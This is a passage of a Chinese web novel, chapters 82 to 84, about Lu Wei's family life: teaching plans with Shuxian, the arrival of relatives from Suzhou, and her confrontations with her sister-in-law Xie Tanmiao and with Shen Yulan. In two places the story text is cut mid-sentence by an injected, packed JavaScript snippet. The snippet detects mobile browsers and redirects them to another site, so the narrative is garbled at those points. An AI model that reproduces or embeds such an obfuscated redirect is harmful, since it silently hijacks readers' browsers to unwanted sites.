淑贤轻咬了一口,细细咀嚼着,又道:“今天在我家门前,听说阿兄和姊夫很快就把你放进来了,难道什么都没问你?” 冬至嘻嘻咧嘴,仍将饼餤在她唇边举着,“问了,我都答上来了!” 淑贤一蹙眉,颇不信:“问的什么?” “长兄问我你是哪一日的生辰,我说四月初八,姊夫问我是哪一年的四月初八,我早知道是开和三年。他们看我答得又快又好,很高兴啊,就放我进门了。” 淑贤突然觉得嘴里的脂花餤不香了。 82.偏佳 自冬至和淑贤成婚后,露微时常便来将军府小住。二人原本都是没什么正事的,忽然一日过来,却见淑贤在书房里埋头奋笔,叫她也不抬头,唯是两个随她嫁来的婢女丛玉、落翠,一面替她收拾满地的纸稿,一面趁隙应道: “这不是快要文考了么?我家夫人正学赵学士你去岁的样子,给中候摘抄文章呢!” 露微一听方才恍然,如今十月正是每年吏部考官的时候。去岁特殊,是五六月间单对京师百僚进行了考察,因冬至极不善读书,露微便替他想出了删繁就简,摘抄重点的法子,只是后来又因晏令白的误会,半途而废。 “他去岁匆忙之间都能通过,今年有功在身,一定不愁。”说着便从婢女手上接过几份纸稿,可一翻却发现是重复的,“抄这么多遍做什么?想叫他记住也该是他自己抄啊。” “哎呀!”想也是抄烦了,淑贤这才抬头,撂了笔又长叹一声,“我说是我自讨苦吃,你信不信?” 露微一头雾水,但点了下头:“确实可信。” 淑贤撇撇嘴,终于将缘由道来。此事之初就是淑贤督促着冬至练字背书,准备文考,可冬至拿着摘好的纸稿,忽提起军中尚有一些不通文墨的同僚,想多抄几份相赠。 可淑贤却一来觉得冬至上职辛苦,二则想来,大家都知道冬至娶了一位学官之女为妻,若她来抄写,不但字写得比冬至好看百倍,也能叫冬至面上增光。 露微听完哭笑不得,道:“冬至如今才是中候,手下军士不过十数人,来日要是成了统领千军万马的大将军,你都去雨露均沾,这双手还要不要了?” 淑贤倒不吃心,哼哼几声朝露微身上一歪,道:“你不知道,成婚之前,从阿耶到长姊,家里每个人都轮番和我说,要如何如何收敛自持,体恤冬至。”停了停,又生一叹: “我自然也不想叫任何人看轻了他,只是除了这些文书之事,我也帮不了他别的了。” 冬至身世凄苦,与淑贤是霄壤之别,能有这样的缘分,当真算是天作奇缘,露微很为冬至欣慰,却也更能体察淑贤之心,了然道:“那么,就从这些能为之事上帮他。” “阿姊要帮我一起抄?”淑贤顿时立起来,眼睛放光。 “就这出息,将来还要做将军夫人?”露微嗤声一笑,随手点了下她的脑袋,“你不是说过要做女先生么?传道授业,为天下不通文墨,不知道理的人争条好路。” 淑贤猛一恍惚,半晌方记起这前世之言,如梦初醒:“阿姊是说,将那些不善读书的人都聚起来,教习授课?” “对呀!杨先生。” …… 授课的想法毕竟初定,况是长久之计,并不单为这一次考官,则第一步便是要征得晏令白的同意。故而露微还是先陪淑贤抄了一二时辰的书,等下人禀报将军回府,才领着淑贤前去拜见。 晏令白近日常见露微,内心自是欢喜,只是听她说明来意,倒并未一口应下,忖度着说道: “武人自不比文官,定是多有不善文墨的,我朝武官的升迁也主要是靠资历和军功,你们有此心是好,可想过会有多少人愿意来学呢?” “有一个便教一个,又不必他们交束脩的。”虽是淑贤引出来的事,但她毕竟不如露微与晏令白亲近,说来心虚,目光瞥向露微。 露微早已决定担承,想了想道:“文考虽不必然决定着武官的前程,可阿父不就是文武兼修么?敏识自小也是你教授的。又如东吴名将吕蒙,攻皖城,袭荆州,战功赫赫,却仍因读书不多受人轻视,发奋之后才叫人刮目相看。可见,读书不必分文武,有能力者自能锦上添花,来日或可转迁要职,为国效力,寻常者也能明理开智,总是有益的。阿父,我觉得会有人来的。” 露微的才识已不是令晏令白新奇的事,此刻除了毫无反驳之力,心中却也早已泛起一股掺杂酸楚的喜乐,终于点头:“好,阿父依你,你想要阿父怎么帮你?” 露微却不是想劳动晏令白大驾来替她们铺陈,与淑贤相视一笑,道:“只是想借阿父一个空闲的院子,一应笔墨用度都不用阿父操心,平时也不会搅扰阿父起居。” 晏令白听来微微皱眉:“阿父在你眼里竟这般小气?” 露微知是玩笑,眼珠一转,奉承道:“阿父大方,天下第一大方!就算我把整座将军府占为己有,阿父也只会自己另寻住处,断然不会赶我走的!” “好哇,这是已经想好要把阿父赶走了?哈哈哈。” 此后,一室笑音,良久不断。 …… 腊月将至,虽尚未落雪,但凛风折竹,寒霜覆枝,也已冷得叫人不愿出手。然而职分在身,露微还是要不时往东宫辅教,宫室内倒是早已用上熏炉,但几个时辰的授课一毕,走出殿外的一瞬,更是冷得叫人肌骨一紧。 咬牙走到皇城外登车,捱过几条街的路程,终于回到家门,她便只想赶紧冲进暖阁,却不曾想,门楼之间就迎面瞧见了二郎。他在同时神色一顿,旋即却先于露微寒暄开来: “长嫂当真勤谨,如此天气也不辍职分,若是受了寒,阿兄也无法安心戍卫了。” 露微嫁来谢家半载,这还是他第一回主动与自己说话,就若从前不知他心思时一般,看上去很像是真心的。虽是奇怪,也姑且回应:“多谢你关怀,只是如此天气,你又何事出门呢?若受了寒,只怕你阿兄也会牵肠挂肚呢。” 他却还是一副磊落面貌,笑着走近了几步,向露微拱手作礼:“等到这家中诸事皆由长嫂做主时,小弟自会事事向长嫂细禀。如今,我已经知会了母亲,她并没有意见。”说完即拔步离去,却又于上马之前回首抛声: “长嫂苦心促成了杨家和沈家的婚事,我姑母半个时辰前已经到了,正等着要谢你呢。” 正想他为何突然不同,思绪就被“姑母”二字僵硬截断——去信苏州是九月下旬,至今才足两月,沈家人竟就到了!前两日还同沈沐芳一起估量,总是要到腊月中旬的。 可难道沈家人的到来,就是让二郎变化的原因? “夫人回来了,怎么站在这风紧的地方?” 叶新萝自廊下转来,抬眼便见露微站立道上,身子朝内,脸却是扭向门首,不知在瞧什么。露微闻声才回过神来,掩饰一笑,不免就问道: “叶娘,我听说姑母已经到了?” 叶氏便是为此事来望门,迎候露微回来,为她拢了拢外氅,便引着她往花厅方向走去,道:“姑夫人走的是水路,一路也未遇风雪冰冻,很是顺利,郡主也十分惊喜。” 想来江南地方的气候自是比咸京暖和,连咸京也尚未落雪,如此倒也正常,“那阿娘和姑母想必有许多话要说,我此刻去不会搅扰了她们么?” 叶氏摇头一笑,已将人扶进花厅,便有小婢呈上一方海棠手熏,经叶氏之手送进了露微手中。在外头吹得久了,双手已冻得发僵,甫一触及手熏的暖热,倒激得掌心微微发痛。 “想是小娘子早在信中提了夫人,姑夫人一来就说想见见夫人。此刻郡主和大娘子,还有沈家来的女眷,一并小娘子都在后头暖阁宽坐,等着夫人去呢。夫人倒别害怕,姑夫人同郡主一样,都是最和善不过的性情。” 原来谢二郎那句话果然不差,一群亲戚正专门等她。可如此场面,沈沐芳这个深知内情的人也在,想是不会叫她难堪的,那二郎之言,二郎之怪,究竟缘自何因? 一时无解,总要先顾及礼节,沈家毕竟不同于那些复杂的宗室,却是谢家唯一的至亲,“叶娘,我不怕的。” 叶氏也知露微见多识广,不过按李氏嘱咐稍作宽慰,便先一步往暖阁中回话去了。露微长舒了口气,跟去之前将手熏还给了小婢,又自将氅衣解了。 进到阁中,扑面而来的一股融融暖意叫露微忽觉浑身一松,再不及她行礼细看,却已见沈沐芳上前相扶,一副志得意满的好气色,笑道:“表嫂可回来了。” 露微却瞧她这笑里藏着精怪,不便此刻询问,方抬起眼睛,却又见李氏走到了跟前,牵起她的手捂了捂,就道:“冷吧?怎么在外头就脱了衣裳?” 露微原是为轻便之意,只笑笑摇头,毕竟就这片刻的工夫,周遭端量的目光已将她包裹得严严实实,不能再多迁延,便先转向堂上,恭敬下拜道: “露微见过姑母,今日不巧,有失迎迓,还望姑母恕罪。” 谢道龄早随李氏一道起身,站在稍后位置,见状满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061538|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸透笑,忙双手将露微搀了起来,瞧了眼李氏,说道: “我看这孩子比长嫂说得更好。”复将目光细扫露微上下,口中咂咂赞叹,“若我不知,还以为是谁家的小郎君进来了,就说是新科状头,也不差的!” 夸张之言自也在意料之中,露微只复轻施一礼,亦打量起这位姑母的形容:与李氏一般个头,听沈沐芳说过也是一样年纪,虽衣着崭新,神貌端雅,却是鬓发已花,到底显得苍老些。 李氏虽给露微添置了许多时新式样的衣裙,真念起来,也都比不过她一身朱红官服,英气勃发,于是谢道龄的话让李氏心中无限受用,嘴角不知怎么扬才好,“你说得正是,我最初看时也同你一样感觉,这五品女学士啊可是天下独一份的!” 眼见两位长辈旁若无人般,以她为题作不尽的锦绣文章,露微倒越发尴尬,又不好去打断,一想,将求救的眼色暗送了也在一旁看戏的沈沐芳。 沈沐芳早是会意,也并没回座,见状抿唇一笑,缓缓走到了她母亲身侧,娇声道:“阿娘,你先歇歇神,也让长嫂她们见见我这位学士表嫂嘛!” 李氏谢氏这才恍然,相视笑笑,谢氏便亲自来牵露微,将右边席上三位妇人依次绍介。露微早从沈沐芳口中知晓了沈家大致的人口,听来都能一一对应。 这沈家的子女,谢氏亲生的也有二男一女。长子沈宗贺聘妇梁氏,是苏州本地一位致仕官吏的孙女;次子沈宗赞之妻方氏则是沈家先父的同窗之女;还有一女便是沈家幼女沈沐芳。 倒是列在两位沈家儿媳之后的年轻女子,却是沈父庶出的长女,即系沈沐芳的庶姊,沈浴兰,只比沈沐芳大了两月,其母原是沈家的婢女,早于十年前过世。 因谢探微仍比沈家长子年长些许,露微便依家礼受三人唤为表嫂,及至互为见礼已毕,各人入座,方才算真正开场。露微也到此刻才有空发觉,李氏左手的席位上,长姊谢探渺一直未动声色,脸上浮着一层若有若无笑意。 正自心下暗忖,忽觉衣袖牵动,转脸一看,就是坐在她下侧的沈沐芳,眨眼挑眉地仍是古怪,手里端来一只小盘:“表嫂尝尝这个,我们苏州的水晶糕,今早新做的。” 露微瞧了眼,倒就是沈沐芳常备的小点,每次去她院中都能吃到,绵软香甜亦确实可口。只是这话说得仿佛是头回叫露微尝,而且满屋看来,也只有她手里有,连娘家人案上都没摆。 不容露微迟疑,只见沈沐芳又是一阵挤眉弄眼,盘子直往她手心推,“多——多谢。” 然而,一块水晶糕刚送到唇边,另侧耳朵忽又听道:“苏州的水晶糕算是当地名品,倒不知在咸京的水土之下,还是不是那个味道。芳儿怎么不多做些,叫大家一起尝尝呢?” 谢探渺说这话时,目光将堂上尊长和对面亲眷一一拂过,最后落在露微身上,见她动作顿住,又一笑:“微微,你说是不是?” 谢探渺近来的态度,越发不掩饰其内心,此情此景忽然作态,倒不算令人迷惑,露微抿合了双唇,举着糕点的手缓缓向她移去:“要不然,长姊先尝?” 谢探渺眼角微微一挑,似不料,旋即端茶抿了一口,道:“母亲和姑母尚没有,我怎敢先尝?” 她先前一句是拐弯抹角在说沈沐芳失礼,这后一句便又顺势点了露微不知尊卑礼数。露微终于心如明镜,虽当下情境不利多言,却也不是张不开嘴: “那多谢长姊,我便先吃了,今日起得早些,忙了半日也饿了。” 说着,露微毫不犹豫将整块水晶糕都放进了嘴里。谢探渺登时脸色一白,险些跌了茶碗,沈沐芳在后头直是噗呲一声,憋忍半晌总算压住嗤声,却起身走向了堂上: “阿娘和舅母尝尝这水晶糕味道怎样。” 自入座,众人都彼此谈讲着,并无十分拘束,尤其是谢李姑嫂两人,经年少见,说起家事之属,愈发沉浸。沈沐芳忽然亲送糕点,便将众人的目光都引了上去。 谢氏乐见小女乖巧,笑着揽过,却转即看向了露微,道:“娘和你舅母如何能没尝过水晶糕?该先让你表嫂尝尝啊。” 水晶糕粘着嗓子还没咽下,露微一时说不上话,但余光里,谢探渺的脸色已经难看得无法形容。 83.和事 自露微踏进暖阁,沈沐芳的神色便叫她感到奇怪,果然就有了水晶糕之事。单是沈沐芳作弄也就罢了,倒是姑母那句客套,竟也不像是随口而来。 到了午前传饭,众人暂退更衣之际,露微终于趁隙将沈沐芳拉到偏厅,然而不必听她拷问,沈沐芳便供认不讳,道: “我从前并不觉得表姊也是个如二表兄一般的蠢人,可这半年看来,竟也好不到哪里去。她只以为,你夺了我的姻缘,又将我许给了远不如谢家的杨家,我阿娘便会记恨于你。可阿娘再是希冀攀高门第,终究也是我亲娘,是真的想我嫁对人。她也是做娘的人了,竟还想不到此处,岂非浅薄?况且,我传书回家时早将前因后果说了,我娘自也看得通透。” 沈沐芳与杨君游的往事,露微知晓后除了对谢探微和杨淑贤说过,就连请赵维贞去杨家说亲时都没多提,为的就是沈沐芳的清誉,也是顺了杨君游维护恋人之意。所以,谢探渺也是至今不知内情。 “原来长姊今日是幸灾乐祸来看戏的。”露微不禁细细品味,因果倒是合理,“继续。” “莫说我一直都知道她待你如何,就是今早一见她,她那副心思都摆在脸上,我都不必瞧第二眼,自然是要帮你出气了。”沈沐芳咂嘴一叹,转又发笑,问道: “表嫂,你还记得我同你说过,我娘从前为我长兄议婚,就托过表姊的情么?只不过,她半分情面也没给。” 这还是露微初与沈沐芳交心时听了几句,姑母想要与长姊夫徐家结亲,但长姊觉得沈家不济,不愿沾染。“所以,姑母是心里有气,才故意借机下长姊的脸面的?” 沈沐芳深深颔首,依偎露微身侧,又道:“虽说婚事没有强迫的道理,可我娘也并没有贸然就下庚帖,还是先遣人送了封亲手信,探探她的口气。娘好歹也是她的亲姑母吧,可她怎么说?徐家官职微低,沈家齐大非偶,又说徐家两个姊妹年庚不配云云。表嫂可觉得是什么真心话呢?” 倒真不是什么用心用情的回应,且谢探渺岂不知沈家的状况?那你高我低的言论,自难免带出几分嘲讽,着实疏远明显了些。但露微毕竟也是嫁为人妇的,将心细想,另有从公之论: “她虽是徐家的当家人不差,但又不是做父母的,姊妹婚事自是更要慎重,可姑母有气也在必然,彼此都有为难。此事既已过去,你倒该去劝姑母宽心才是。” 沈沐芳自是沈家最清醒的人,能听懂这番意思,一叹道:“我也早说我娘不该总想着以婚姻为利,可父亲不在了,她一个人也艰难。好在如今我的事了了,她不会再想什么了,今天说过就罢,也不会再有下文了。” 话端回到眼下的喜事上,露微不由一笑,道:“你倒是绝好的福气,还没进门,两个妹妹都已出嫁,又没有兄弟,家事何其简单,只便成日与夫婿弹琴唱和就是了。” 两人私下相处,沈沐芳从无半点避讳,此时竟一下涨红了脸,轻搡了露微一把,道:“才不理他,我日日都回来找你!”缓了缓,却又问道: “表嫂,我是不怕和她撕破脸的,你倒要一直忍着么?不如索性也说明了,以后都不必做戏,少费些心力。” 其实仰赖谢家父母的宠爱,露微一直不愁如何应付那对姊弟,不过是狭路相逢时,略动些脑筋。而如今的情形,她与谢探渺之间早已分明,并不在于说不说。 “长姊是不同的。” …… 一场迎客的家宴自有粉饰太平之效,有趣无趣不过各人心知。及至宴罢,沈沐芳才肯离了露微身侧,陪她母亲客院安置去了。谢氏只有这一个亲生小女,年余未见,事情波折,自还有许多未尽之言,也见她与露微情状特别,不免就此开端: “我与你舅母当面说的那些倒真不是虚夸之言,这个赵学士果然与寻常官宦贵女不同。她能不计前嫌待你,娘从前的那些心思也就尽可抛了。” 沈沐芳一笑点头,道:“若不是她来点醒女儿,女儿也尚在迷津之中。她千好万好,我看来,最是一点,便是凡事易地而处,推己及人。阿娘,婚姻为利不是明路,你看我长嫂二嫂,出身虽平常,不也很贤德么?倒是娘要帮着她们,压制阿兄房里那些狐媚东西才是,最好统统打发走,方算干净。” 谢氏岂不知沈家不济的一大缘故,便是男子们流连美色,但真要节制,也并不是自这一辈开始的。沈家先父便有四个侍妾,除了沈浴兰之母早逝,其余都好端端在房里守着,难道一并赶走? 说到底,富贵家多有姬妾并非异事,不过是谢家这样的稀有。根源上的积弊就如河冰之冻,岂是一日之寒?又岂是一时可融? 见母亲面露忧色,沈沐芳心下忖度,大致有了些计较,道:“娘是怕阿姊吃心?”停了停又探问道:“阿姊与我同岁,娘可也想过她的婚事不曾?” 谢氏听来眼睛一亮,顿觉可喜,这个自小娇养的女儿当真成长不少,竟是一下切中了要害,不由将女儿拉近,道: “阿兰到底不是我生的,她母亲又是那样出身,反倒比你的婚事更叫我操心。我想过的,还同你长嫂商议过,她说她们梁家有一个从弟,弱冠年纪,尚在读书,倒是品貌端正,你觉得可合适?” 沈沐芳只先一笑,想母亲这性子,虽很多时候过于软弱,但也正是因为生性善良,从不做那些刻薄庶出子女的恶事,如今也才能说出这番话。 “当日表姊不愿徐家沾了我们家,这才叫娘寻到了梁家这门亲,算是因祸得福,娘看长嫂的品貌便知,她兄弟该是不差。况且就是苏州本地人家,亲上做亲,又亲又近,兰姊不论如何都有个依仗,不会受委屈的。” 谢氏私心想来也是觉得梁家门当户对,若非忽然接到沈沐芳婚事落定的消息,让此事不得不先中断,她大约已经正式给庶女议婚了,此刻再听女儿这般实在的分析,不免更下了决心。 “好,娘就听你的!等正月十七,你的婚事办完了,娘就回苏州与梁家过帖议亲。何时吉日定了,娘就传信给你,你也正好带着杨家公子回苏州省亲啊。” 沈沐芳不意母亲说到自己身上,脸色飘红,道:“他在吏部职上,哪里有空陪我出远门?阿娘别取笑了!” 谢氏却是真心话。她虽尚未见过杨君游,但对未来东床的出身履历早已清楚,等婚礼之后便也算半个沈家人了,而沈家往上三代都没出过进士,就更莫说是京官,她早想好了是要请这女婿回去给她长长脸的。便说道: “那吏部还不是你舅舅的管辖?便是告个假又如何?”哼笑了声,又道:“现成的例子,你表姊一家就是为兄弟婚事进京,那徐枕山原就在扬州任上,到了岳父跟前,还不是说留下就留下了?未必你舅舅厚此薄彼,只疼亲女儿?要是你表姊再敢从中作梗,娘为了你,也不是不敢当面教训她。” 沈沐芳看母亲竟认真了,想起刚答应了露微要劝母亲宽心往事,便忙拦劝道: “此事我清楚,徐姊夫留京待职,那是陛下看他履历考绩很好,特别恩赐的。舅舅是怎样的人还要女儿告诉娘?娘可不能在这种大事上糊涂啊!” 谢氏原是说得高兴起来,一时有些话赶话,未必真要做什么,遂是一叹,点了头,但正要开口,忽见门外小婢进来报道: “太夫人,兰娘子来请安了。” …… 东院客堂之上,露微已端坐有时,目光垂向跪在地上的人,两手交握腹前,时随神情微动而暗暗捏紧,又过良晌,终于启齿: “宁英,你为何要告诉我这些?” 下跪之人正是谢二郎的近身随从,自被允许进门,他只是说了几句话,久不闻露微示下,便一直纹丝不动地趴着,此刻才瑟瑟缩缩地抬头,喉中咽了又咽,道: “因……因为夫人,夫人是个好人!” 露微除是知道二郎那些勾当,并不了解他身边的人事,而宁英突然示好,既不该是一个小奴的身份能做的,也不该是二郎的近侍能做出的。况且,二郎上午那番态度之谜还不曾得解。 “我好?你主子就不好么?”露微虽百般狐疑,但想来二郎的行事秘密,宁英定是一清二楚,姑且先作试探。 宁英白着脸色,咬着嘴唇,竟忽一下磕了个响头:“小奴只有婉儿一个妹妹!” 语音未落,他即调头跑走了,露微未及反应,起身一顿,缓缓才站直。雪信和丹渥各在一边随侍,此刻不免近前相扶,互交目色,都是心中有底。 雪信道:“夫人可信他说的话?” 露微这才将目光自门外收回,深吸了口气,手虽垂下,又不觉攥紧,“他最后这句,倒是可信。” 宁婉被发现异心之时,正是雪信受伤,丹渥单独侍奉露微的那几日,她最是清明内情,接着反问道:“宁婉已被郡主遣回了扬州,连打骂也没有,并不算什么严惩,这宁英还想怎么样?” 露微望着她摇了摇头:“处分宁婉的是郡主,可指教宁婉行事的却是那位二公子。” 丹渥听来蹙眉,似懂非懂,不及再言,已见露微取了搭在坐榻上的氅衣为雪信披上,道:“你悄悄去探一探,二公子现在可回来没有,尽量快些。” 雪信并不知露微要做什么,只是即刻出了门。丹渥见状,一时也无从问起了,扶着露微道: “夫人回房歇着吧,脚上该涂药了,一日两次,长公子交代了奴婢不能忘记的。” 露微按住她的手,仍一摇头:“少一次我不会告诉他的,或许稍待我还要出门。” “去哪里?见二公子?” …… 徐枕山留京待职,现下正经历本岁考官,最终结果还要等到正月前后才能落定。故而比起先前,他如今是不大出门,两耳少听窗外事。 这日因姑母提前抵京,他不得不迎接陪宴,至散宴回来,夫妻携了儿女刚进院门,却见谢探渺瞬间摆下脸色,径自回了寝房。他自然想要追问,奈何儿女亲见,两张小脸已生疑惑,为维护为掩饰,只好先将孩子送回了廊屋,直至亲自哄睡才算放心。 可正当他就去一问究竟时,行至廊下,却忽见一人自房门出来,看其背影不大认识,但肯定不是西院之人。又观望片时,方转步入内,见谢探渺就坐在外间榻上,便道: “才是谁来了?” 谢探渺略抬了一眼,脸色之差比先前有过之而无不及,道:“半日都不见二郎,就叫宁英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074725|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来问问,怕他再有什么闪失祸事,更叫家中不喜了。” 徐枕山自然知道二郎不曾露面宴席,也听惯了谢探渺这幅阴阳怪气的腔调,可他只是更加迷惑:“我能不认识宁英?是才出去的那个女子,是谁?” 谢探渺却莫名哼了声,道:“徐若谷,你还不知道吧,你如今尚未得官,就已经惹人闲言了,说你是沾了岳父的光。” 徐枕山待职的这半载,除了侍奉岳父朝参出入,并没有太多交际,便是见过些朝中清贵,也都是岳父的僚属之类,倒实在不知所谓闲言从何而来。但转念一想,官场人心,拜高踩低都不是常态,便也不甚在意,只道: “当年你嫁给我,便有人说是我家攀龙附凤,如今不过换个场合,清者自清,不必理会。”走近几步,又问:“你就是为这个不开心?几时听说的?该早些告诉我。” 谢探渺一看他懵然无知的样子,只觉头昏脑涨,越发心烦,不欲再费口舌,“我累了,要去睡睡。” 徐枕山见状,认定她就是为此气郁,一时生出愧疚,也不忍再言。然而,还不及夫妻二人转入内室,只听外头一声通报: “阿郎、夫人,大夫人来了。” 这个家里的“大夫人”自然只有东院那位赵学士,可她从未主动来过,偏是今日,偏是此时。 “快请进来。” 谢探渺迟疑间,徐枕山已回了话。客人顷刻间便来至夫妻面前,霜白氅衣,微红面颊,眼中满含笑意: “姊夫也在。”说着欠身致礼,这才将眼睛转向谢探渺,“今日姑母和沈家的亲眷们已到,我是有些内政要向长姊请教,不知来得是不是时候?” 谢探渺本是心中无底,这时听她话中有话,眉眼神情皆带刻意,不禁一阵暗惊。犹豫的工夫,又听徐枕山笑道: “这话说得见外,我原就该去书房的,你们说话便是。” 女眷相聚,不论何事,他都是要避让的。又想着谢探渺对露微颇有微词,素不亲近,倒是露微愿意走动,正好是增进关系的机会。于是说完再不迟延,向谢探渺示意一眼,转身出了门。 露微的目光随送到房门,回过首时,已是另番面色:“长姊,我们好好谈谈吧。” 谢探渺只觉心气不自禁地游离起来,慌也不是,怕也并非,心虚亦无从说起,“谈什么?”暗舒了口气,又道:“难道是你,不想和我做戏了么?” 惊人的字眼未曾激起露微心中一丝波澜,微有一顿的目光也只是携出了她心底预备好的了然,“长姊与我往无宿仇,原就不该矫言伪行,奈何,是长姊先不肯真心相待。” 谢探渺渐渐蹙紧眉头,似忽然不认得眼前人了,半晌方道:“我并没有对你做过什么,你如此受宠,谁又能动摇你分毫?” 露微垂目一笑:“这话应该换个说法——你并没有对我做成过什么。”向她略近了几步,又道: “长姊,以你的出身教养,从前一定不是这样的。只不过,邪秽在身,怨之所构——你可想过,其实你听闻的,听信的,都不过只是一团污秽?” 谢探渺不料露微竟是这样的“不愿做戏”,额上不由冒出细汗,心内狂跳,乱了阵脚: “我从前如何,还轮不到你来指教!若说这个家中有邪秽,那也只能是你!自从你嫁给大郎,父亲母亲事事以你为上,就连你勾连前夫家人也能无视……” “这些话,长姊尽管到父亲母亲跟前去说,何必积想在心,做此无用的发泄?!”她虽语出凌厉,却反显外强中干之相,露微迅速打断,目光狠狠瞪去: “长姊种种作为,桩桩心思,根源不过就在二郎!但你可知,二郎最初是因何被父亲禁足,他心里又究竟是怎样看待他的亲兄长的?他的那些龌龊勾当,父亲母亲和大郎都不知晓——我若不想隐瞒,他早就没有机会在长姊身边挑拨了!” 这番话于此刻的谢探渺来说,就像是佶屈聱牙的远古语言,隐隐已觉其意深不见底,却只能回旋耳畔难以入心,无法理解。她猛一跌步,瘫软在身后坐榻之上,突兀地喘起粗气: “什么意思?你说的——是什么?!” 露微自是要给她解释的,只是见她前后落差至此,忽然感慨,为何就到了这一步?可见人情多玄,世路多诈,不需高台庙堂,只一方深宅厅堂便是五脏俱全。 露微终于将事情尽诉于谢探渺。窗外的岁暮之风时能带来摧折枯枝的脆响,似与故事击节相和,却只徒然讽刺。 “可你,为什么要这么做呢?” 谢探渺紧随自己话音之后的反问,倒是略让露微感到惊讶,顿了顿,一笑回应: “长姊果然只是二郎一人的长姊了。你怎么就想不到,大郎自小离家,心里是多么渴望父慈母爱,兄友弟恭呢?这些对你们来说平常不过的事,他已经彻底错过了,如今再弥补也只是有迹可循的补丁,人此一世而已啊。” 谢探渺抿紧了嘴唇,浑身亦忽而瑟缩。 “就这样吧,长姊继续看护好二郎,我就继续为大郎粉饰升平。只是长姊千万不要对我今日所言掉以轻心,这不是威胁,是我最后的诚意——今后,以和为贵,便是。” 84.犹温 东院有主半载以来,从未在任何堂阁特意设席待客。这日却很不同,露微晨起便叫将客堂之后的一处暖阁布置起来,说是请了沈家的几位平辈内眷前来消遣闲谈。 众婢自然不敢怠慢,很快准备妥当,露微便携雪信先入了阁中等候,留了丹渥在一门之隔的堂屋迎客。果然不消片时,沈沐芳的脚步便轻快而至。 与她自门下前后转来的还有一个温柔的身影,见她只是与主人亲热携手,却并不见礼,抿唇一笑,倒是甚为端方地欠身一拜,唤了声“表嫂万福”。 然而,露微并非到这时才瞧见此人,只是淡淡扫去目光,道:“你的名字叫浴兰,我以后就叫你兰儿吧。” 沈浴兰含蓄半垂的眼帘忽一抬,衔在嘴角的笑意便去了几分,但很快道:“是,在家时,母亲也是这么唤我的。” 露微略一点头,眼睛转与沈沐芳对视,将她送到了左席落座,口中道:“虽说你们唤我为嫂,但算起来,芳儿还比我年长一岁。”回身向沈浴兰一笑,又道: “兰儿,你只比芳儿大两个月吧?” 沈浴兰仍独立在离门不远处,见此状,听此言,残存的一丝笑早已僵住,一个“是”字咬在齿间,再难像先前般滑出嘴巴。 露微将她细微的态度尽收眼底,只径自回到主位,端茶抿了口,细细品味,这才又道: “你家两位嫂子想是有事耽搁了,反正也不是什么正宴,兰儿何必一定要站着等呢?倒显得我招待不周了。” “是啊兰姊,你怎么还站着?”姊妹虽是一路同来,但沈沐芳自踏入东院,便着意快了庶姊两步,此刻偏过头去打量,语气如同恍然才知一般,“我不是同你说了?表嫂这个人,只要你真心相待,根本无需在意这些虚礼。” 沈浴兰自然知晓今日受邀的只是沈家姑嫂,进门初见也是左右各摆了两个席位,可露微对待她们姊妹的区别越发明显,也实在令她迷惑,迟疑半晌,终究颔首,坐到了沈沐芳一侧。 沈沐芳含笑看她一眼,复转向露微:“表嫂不知,我这阿姊自小乖巧娴静,莫说是人前知礼,就是背着人时,也是心思特别。” “哦?这话怎么说?”露微蹙眉问道,眼睛仍看着沈浴兰,“什么叫心思特别?” 沈浴兰心情未定,忽听妹妹语出莫名,不觉一惊,身子打了个颤,忙道:“小妹说什么呢?” 沈沐芳却不再言,只听露微紧接着道:“兰儿可是冷了?”遂对一旁侍立的雪信道:“快,去取只手熏给兰娘子暖着。” “我,我不……”沈浴兰的脸色愈发起伏,但见雪信顷刻就呈上一方手熏,也只得双手承接,“多谢表……”然而,却是触手一凉,这手熏还不及她掌心温热。 “是凉了?” 当愤然和惶然同时于沈浴兰的心底激起,露微只是轻巧启唇,适时地,按部就班地,掐断了她的一切幻想。她仓促地抬起圆睁的眼睛,却见上座之人皆对她目光咄咄,一时心口如堵,再也无言。 露微见之一笑,将此精心编造的哑谜终结:“凉就凉了吧,反正你也不怕冷。前日才到咸京,就喜欢府里各处闲逛,前庭的偏厅,西院的正房,难为你倒很能认路。” 一语未了,沈浴兰手中的手熏已滚落在地,铜制的炉身和炉盖撞得叮当散开,却一无炭块炭灰洒出。短促的气息一顿一顿地从她咽喉中冒出,她终于不支,扑倒在几案上,半晌才僵硬地转动了眼珠: “是……是表姊说的?” “你还敢问!”却是沈沐芳先愤然起身,怒指就道:“我真没想到,你从小到大的静默谦顺都是假的,竟不知还做过多少这样的腌臜事!你明知沈家与表姊有隙,还去她面前搬弄口舌,诋毁表嫂,你究竟是何居心啊?!” 沈沐芳自有一派飞扬直率,但露微与她交心以来,已再没见过她如此,心知她是对自己怀愧,又别有心痛,不免上前拦劝,将她搀到了一旁。然则细论此事也颇稀奇,还是仰赖宁英突然的投诚。 沈家人抵京那日,因二郎未曾出现,谢探渺便叫了宁英前去询问,可话到一半却见沈浴兰忽然到访。宁英虽回避,留步廊下也听到了一些言辞,沈浴兰竟是偷听了露微和沈沐芳在偏厅的谈话,专程去告状的。 这番谈话不过是露微想弄清暖阁的情形,最终也只是想彼此相安,但沈浴兰却是故意断章摘句,火上浇油。露微惊悉之下,不敢赌谢探渺尚存一念善意,便才破釜沉舟去了西院一趟。 